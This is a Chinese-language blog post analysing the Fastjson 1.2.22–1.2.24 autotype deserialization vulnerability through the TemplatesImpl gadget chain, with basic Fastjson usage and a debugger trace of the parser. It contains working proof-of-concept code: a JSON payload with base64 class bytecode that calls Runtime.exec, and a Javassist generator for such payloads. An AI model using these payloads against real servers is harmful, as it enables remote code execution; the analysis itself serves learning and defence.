在前面的RMI和JNDI注入学习里面为本次的Fastjson打了一个比较好的基础。利于后面的漏洞分析。
在分析漏洞前,还需要学习一些Fastjson库的简单使用。
FastJson是啊里巴巴的的开源库,用于对JSON格式的数据进行解析和打包。其实简单的来说就是处理json格式的数据的。例如将json转换成一个类。或者是将一个类转换成一段json数据。在我前面的学习系列文章中其实有用到jackson。其作用和Fastjson差不多,都是处理json数据。可参考该篇文章:Java学习之jackson篇。其实在jackson里面也是存在反序列化漏洞的,这个后面去分析,这里不做赘述。
使用方式:
//序列化 String text = JSON.toJSONString(obj); //反序列化 VO vo = JSON.parse(); //解析为JSONObject类型或者JSONArray类型 VO vo = JSON.parseObject("{...}"); //JSON文本解析成JSONObject类型 VO vo = JSON.parseObject("{...}", VO.class); //JSON文本解析成VO.class类
代码实例:
定义一个实体类
package com.fastjson.demo; public class User { private String name; private int age; public User() { } @Override public String toString() { return "User{" + "name='" + name + '\'' + ", age=" + age + '}'; } public String getName() { return name; } public void setName(String name) { this.name = name; } public int getAge() { return age; } public void setAge(int age) { this.age = age; } public User(String name, int age) { this.name = name; this.age = age; } }
定义一个test类:
package com.fastjson.demo; import com.alibaba.fastjson.JSON; public class test { public static void main(String[] args) { User user = new User(); user.setAge(18); user.setName("xiaoming"); String s = JSON.toJSONString(user); System.out.println(s); } }
运行后结果为:
{"age":18,"name":"xiaoming"}
这是一段标准模式下的序列化成JSON的代码,下面来看另一段。
package com.fastjson.demo; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.serializer.SerializerFeature; public class test { public static void main(String[] args) { User user = new User(); user.setAge(18); user.setName("xiaoming"); // String s = JSON.toJSONString(user); // System.out.println(s); String s1 = JSON.toJSONString(user, SerializerFeature.WriteClassName); System.out.println(s1); } }
执行结果:
{"@type":"com.fastjson.demo.User","age":18,"name":"xiaoming"}
在和前面代码做对比后,可以发现其实就是在调用toJSONString
方法的时候,参数里面多了一个SerializerFeature.WriteClassName
方法。传入SerializerFeature.WriteClassName
可以使得Fastjson支持自省,开启自省后序列化成JSON
的数据就会多一个@type,这个是代表对象类型的JSON
文本。FastJson的漏洞就是他的这一个功能去产生的,在对该JSON数据进行反序列化的时候,会去调用指定类中对于的get/set/is方法, 后面会详细分析。
方式一:
package com.fastjson.demo; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.serializer.SerializerFeature; public class test { public static void main(String[] args) { User user = new User(); user.setAge(18); user.setName("xiaoming"); String s = JSON.toJSONString(user); // System.out.println(s); User user1 = JSON.parseObject(s, User.class); System.out.println(user1); } }
方式二:
package com.fastjson.demo; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.JSONObject; import com.alibaba.fastjson.serializer.SerializerFeature; public class test { public static void main(String[] args) { User user = new User(); user.setAge(18); user.setName("xiaoming"); String s1 = JSON.toJSONString(user, SerializerFeature.WriteClassName); JSONObject jsonObject = JSON.parseObject(s1); System.out.println(jsonObject); } }
这种方式返回的是一个JSONObject
的对象
方式三:
package com.fastjson.demo; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.serializer.SerializerFeature; public class test { public static void main(String[] args) { User user = new User(); user.setAge(18); user.setName("xiaoming"); String s1 = JSON.toJSONString(user, SerializerFeature.WriteClassName); User user1 = JSON.parseObject(s1,User.class); System.out.println(user1); } }
执行结果都是一样的
User{name='xiaoming', age=18}
这三段代码中,可以发现用了JSON.parseObject
和 JSON.parse
这两个方法,JSON.parseObject
方法中没指定对象,返回的则是JSONObject
的对象。JSON.parseObject
和 JSON.parse
这两个方法差不多,JSON.parseObject
的底层调用的还是JSON.parse
方法,只是在JSON.parse
的基础上做了一个封装。
在序列化时,FastJson
会调用成员对应的get
方法,被private
修饰且没有get
方法的成员不会被序列化,
而反序列化的时候在,会调用了指定类的全部的setter
,publibc
修饰的成员全部赋值。可以在实体类的get、set方法中加入打印内容,可自行测试一下。
漏洞是利用fastjson autotype在处理json对象的时候,未对@type字段进行完全的安全性验证,攻击者可以传入危险类,并调用危险类连接远程rmi主机,通过其中的恶意类执行代码。攻击者通过这种方式可以实现远程代码执行漏洞的利用,获取服务器的敏感信息泄露,甚至可以利用此漏洞进一步对服务器数据进行修改,增加,删除等操作,对服务器造成巨大的影响。
在Fastjson这个反序列化漏洞中是使用TemplatesImpl
和JdbcRowSetImpl
构造恶意代码实现命令执行,TemplatesImpl
这个类,想必前面调试过这么多链后,对该类也是比较熟悉。他的内部使用的是类加载器,去进行new一个对象,这时候定义的恶意代码在静态代码块中,就会被执行。再来说说后者JdbcRowSetImpl
是需要利用到前面学习的JNDI注入来实现攻击的。
漏洞版本:fastjson 1.22-1.24
利用链:TemplatesImpl
这里做一个简单的demo
构造恶意类:
package nice0e3; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.Feature; import com.alibaba.fastjson.parser.ParserConfig; public class fj_poc { public static void main(String[] args) { ParserConfig config = new ParserConfig(); String text = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADIANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAtManNvbi9UZXN0OwEACkV4Y2VwdGlvbnMHACwBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHAC0BAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQABdAcALgEAClNvdXJjZUZpbGUBAAlUZXN0LmphdmEMAAgACQcALwwAMAAxAQAEY2FsYwwAMgAzAQAJanNvbi9UZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABwAAAAAABAABAAgACQACAAoAAABAAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAIACwAAAA4AAwAAABEABAASAA0AEwAMAAAADAABAAAADgANAA4AAAAPAAAABAABABAAAQARABIAAQAKAAAASQAAAAQAAAABsQAAAAIACwAAAAYAAQAAABcADAAAACoABAAAAAEADQAOAAAAAAABABMAFAABAAAAAQAVABYAAgAAAAEAFwAYAAMAAQARABkAAgAKAAAAPwAAAAMAAAABsQAAAAIACwAAAAYAAQAAABwADAAAACAAAwAAAAEADQAOAAAAAAABABMAFAABAAAAAQAaABsAAgAPAAAABAABABwACQAdAB4AAgAKAAAAQQACAAIAAAAJuwAFWbcABkyxAAAAAgALAAAACgACAAAAHwAIACAADAAAABYAAgAAAAkAHwAgAAAACAABACEADgABAA8AAAAEAAEAIgABACMAAAACACQ=\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }}"; Object obj = JSON.parseObject(text, Object.class, config, Feature.SupportNonPublicField); } }
执行成功,_bytecodes
对应的数据里面可以看到是Base64编码的数据,这数据其实是下面这段代码,编译后进行base64加密后的数据。
import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.io.IOException; public class Test extends AbstractTranslet { public Test() throws IOException { Runtime.getRuntime().exec("calc"); } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) { } @Override public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException { } public static void main(String[] args) throws Exception { Test t = new Test(); } }
但是在使用运用中个人觉得更倾向于这个poc
package com.nice0e3; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.Feature; import com.alibaba.fastjson.parser.ParserConfig; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import javassist.ClassPool; import javassist.CtClass; import org.apache.commons.net.util.Base64; public class gadget { public static class test{ } public static void main(String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass cc = pool.get(test.class.getName()); String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");"; cc.makeClassInitializer().insertBefore(cmd); String randomClassName = "nice0e3"+System.nanoTime(); cc.setName(randomClassName); cc.setSuperclass((pool.get(AbstractTranslet.class.getName()))); try { byte[] evilCode = cc.toBytecode(); String evilCode_base64 = Base64.encodeBase64String(evilCode); final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; String text1 = "{"+ "\"@type\":\"" + NASTY_CLASS +"\","+ "\"_bytecodes\":[\""+evilCode_base64+"\"],"+ "'_name':'a.b',"+ "'_tfactory':{ },"+ "'_outputProperties':{ }"+ "}\n"; System.out.println(text1); ParserConfig config = new ParserConfig(); Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField); } catch (Exception e) { e.printStackTrace(); } } }
使用Javassist动态生成恶意类放到_bytecodes
中。这里发现几个问题,
_bytecodes
插入恶意代码为什么需要构造这么多的值。_bytecodes
中的值为什么需要进行Base64加密。Feature.SupportNonPublicField
参数值。TemplatesImpl
这个类,Fastjson会按照这个类反序列化得到实例,因为调用了getOutputProperties
方法,实例化了传入的bytecodes类,导致命令执行。需要注意的是,Fastjson默认只会反序列化public修饰的属性,outputProperties和_bytecodes由private修饰,必须加入Feature.SupportNonPublicField
在parseObject中才能触发;AbstractTranslet
类的恶意类字节码,并且使用Base64
编码getTransletInstance
时会判断其是否为null,为null直接return,不会往下进行执行,利用链就断了,可参考cc2和cc4链。defineTransletClasses
中会调用其getExternalExtensionsMap
方法,为null会出现异常,但在前面分析jdk7u21链的时候,部分jdk并未发现该方法。getOutputProperties
方法,导致bytecodes
字节码成功实例化,造成命令执行。前面说到的之所以加入Feature.SupportNonPublicField
才能触发是因为Feature.SupportNonPublicField
的作用是支持反序列化使用非public修饰符保护的属性,在Fastjson中序列化private属性。
来查看一下TemplatesImpl
。
这里可以看到这几个成员变量都是private进行修饰的。不使用Feature.SupportNonPublicField
参数则无法反序列化成功,无法进行利用。
由此可见Fastjson中使用TemplatesImpl
链的条件比较苛刻,因为在Fastjson中需要加入Feature.SupportNonPublicField
,而这种方式并不多见。
下断点开始跟踪漏洞
public static <T> T parseObject(String input, Type clazz, ParserConfig config, Feature... features) { return parseObject(input, clazz, config, (ParseProcess)null, DEFAULT_PARSER_FEATURE, features); }
这里有几个参数传入,并直接调用了parseObject
的重载方法。
几个参数分别是input、clazz、config、features。
input传递进来的是需要反序列化的数据,这里即是我们的payload数据。
clazz为指定的对象,这里是Object.class对象
config则是ParserConfig的实例对象
features参数为反序列化反序列化private属性所用到的一个参数。
实例化了一个DefaultJSONParser
,并调用parseObject
方法,跟踪parseObject
。
调用derializer.deserialze
方法进行跟踪。
来看到这一段代码,这里是个三目运算,type是否为Class对象并且type不等于 Object.class
,type不等于
Serializable.class
条件为true调用parser.parseObject
,条件为flase调用parser.parse
。很显然这里会调用parser.parse
方法。继续跟踪。
这里将this.lexer
的值,赋值给lexer,而这个this.lexer
是在实例化DefaultJSONParser
对象的时候被赋值的。回看我们代码中的DefaultJSONParser
被创建的时候。
public DefaultJSONParser(String input, ParserConfig config, int features) { this(input, new JSONScanner(input, features), config); }
调用重载方法
public DefaultJSONParser(Object input, JSONLexer lexer, ParserConfig config) { this.dateFormatPattern = JSON.DEFFAULT_DATE_FORMAT; this.contextArrayIndex = 0; this.resolveStatus = 0; this.extraTypeProviders = null; this.extraProcessors = null; this.fieldTypeResolver = null; this.lexer = lexer; this.input = input; this.config = config; this.symbolTable = config.symbolTable; int ch = lexer.getCurrent(); if (ch == '{') { lexer.next(); ((JSONLexerBase)lexer).token = 12; } else if (ch == '[') { lexer.next(); ((JSONLexerBase)lexer).token = 14; } else { lexer.nextToken(); } }
这里面去调用 lexer.getCurrent()
跟踪代码发现就是从lexer返回ch的值。而下面的这段代码
int ch = lexer.getCurrent(); if (ch == '{') { lexer.next(); ((JSONLexerBase)lexer).token = 12; } else if (ch == '[') { lexer.next(); ((JSONLexerBase)lexer).token = 14; } else { lexer.nextToken(); }
调用lexer.getCurrent()
,获取到是ch中数据如果为{
就将lexer.token
设置为12,如果为[
设置 lexer.token
设置为14。
调用lexer.getCurrent()
,获取当前字符这里获取到的是双引号。lexer这个是JSONScanner
实例化对象,里面存储了前面传入的Json数据,但是这里疑问又来了,既然是Json的数据,那么前面的{
去哪了呢?为什么这里获取到的不是这个{
花括号。
还记得我们前面加载DefaultJSONParser
重载方法的时候new JSONScanner()
,跟踪查看他的构造方法就知道了
public JSONScanner(String input, int features) { super(features); this.text = input; this.len = this.text.length(); this.bp = -1; this.next(); if (this.ch == '\ufeff') { this.next(); } }
构造方法里面调用了this.next();
public final char next() { int index = ++this.bp; return this.ch = index >= this.len ? '\u001a' : this.text.charAt(index); }
返回com.alibaba.fastjson.parser.DefaultJSONParser#parse
进行跟踪代码。
public Object parse(Object fieldName) { JSONLexer lexer = this.lexer; switch(lexer.token()) { case 1: case 5: case 10: case 11: case 13: case 15: case 16: case 17: case 18: case 19: ... case 12: JSONObject object = new JSONObject(lexer.isEnabled(Feature.OrderedField)); return this.parseObject((Map)object, fieldName);
通过刚刚的分析得知这里的lexer.token()
等于12会走到case 12:
这里
调用this.parseObject
继续跟踪
这里可以看到获取下一个字符是否为双引号,而后去调用lexer.scanSymbol
方法进行提取对应内容数据。
查看一下参数this.symbolTable
。
这里则是提取了@type
接着走到这个地方
if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) { ref = lexer.scanSymbol(this.symbolTable, '"'); Class<?> clazz = TypeUtils.loadClass(ref, this.config.getDefaultClassLoader());
判断key是否等于@type
,等于则获取@type
中的值,接着则是调用反射将这个类名传递进去获取一个方法获取类对象。
下面走到这段代码
ObjectDeserializer deserializer = this.config.getDeserializer(clazz); thisObj = deserializer.deserialze(this, clazz, fieldName);
跟踪,加载两次重载来到这里
上面的代码中直接就获取到了outputProperties
跟踪一下,sortedFieldDeserializers.fieldInfo
是怎么被赋值的。
查看发现是在构造方法被赋值的,也就是实例化对象的时候
public JavaBeanDeserializer(ParserConfig config, JavaBeanInfo beanInfo) { this.clazz = beanInfo.clazz; this.beanInfo = beanInfo; this.sortedFieldDeserializers = new FieldDeserializer[beanInfo.sortedFields.length]; int i = 0; int size; FieldInfo fieldInfo; FieldDeserializer fieldDeserializer; for(size = beanInfo.sortedFields.length; i < size; ++i) { fieldInfo = beanInfo.sortedFields[i]; fieldDeserializer = config.createFieldDeserializer(config, beanInfo, fieldInfo); this.sortedFieldDeserializers[i] = fieldDeserializer; }
返回上层,JavaBeanDeserializer
是在this.config.getDeserializer
被创建的,跟进一下
return this.getDeserializer((Class)type, type);
⬇
derializer = this.createJavaBeanDeserializer(clazz, (Type)type);
⬇
beanInfo = JavaBeanInfo.build(clazz, type, this.propertyNamingStrategy);
⬇
boolean match = this.parseField(parser, key, object, type, fieldValues);
接着来到了com.alibaba.fastjson.util.JavaBeanInfo#build
下面有几个关键代码
在通过@type
获取类之后,通过反射拿到该类所有的方法存入methods,接下来遍历methods进而获取get、set方法
set的查找方式:
get的查找方式:
这样一来就获取到了TemplatesImpl
的getOutputProperties()
返回com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#deserialze
继续调试跟踪
前面都是重复的内容,遍历去获取json中的内容。
直接定位到这一步进行跟踪
替换_
字符为空
执行完成后回到 com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer# parseField
来到这一步
进行反射调用执行TemplatesImpl
的getOutputProperties()
方法。
接着则来到了这里
transformer = new TransformerImpl(getTransletInstance(), _outputProperties, _indentNumber, _tfactory);
到了这里其实也就不用跟了,和前面的JDK7u21后半段的链是一样的。
在这命令就执行成功了,但是我们还有一个遗留下来的问题没有解答,就是_bytecodes
为什么需要进行base64编码的问题,也是分析的时候跟踪漏了。
返回com.alibaba.fastjson.parser.DefaultJSONParser#parseObject
查看
在解析byte数据的时候回去调用this.lexer.bytesValue();
,跟踪就会看见会调用IOUtils.decodeBase64
进行base64解密
贴出调用链
看到网上部分分析文章,分析漏洞只分析了几个点。直接就在某个地方下断点,然后跳到某一个关键位置的点进行分析,很多数据的流向都不清楚是怎么来的。所以漏洞的一些细节都没去进行了解过,所以漏洞真的分析清楚了嘛?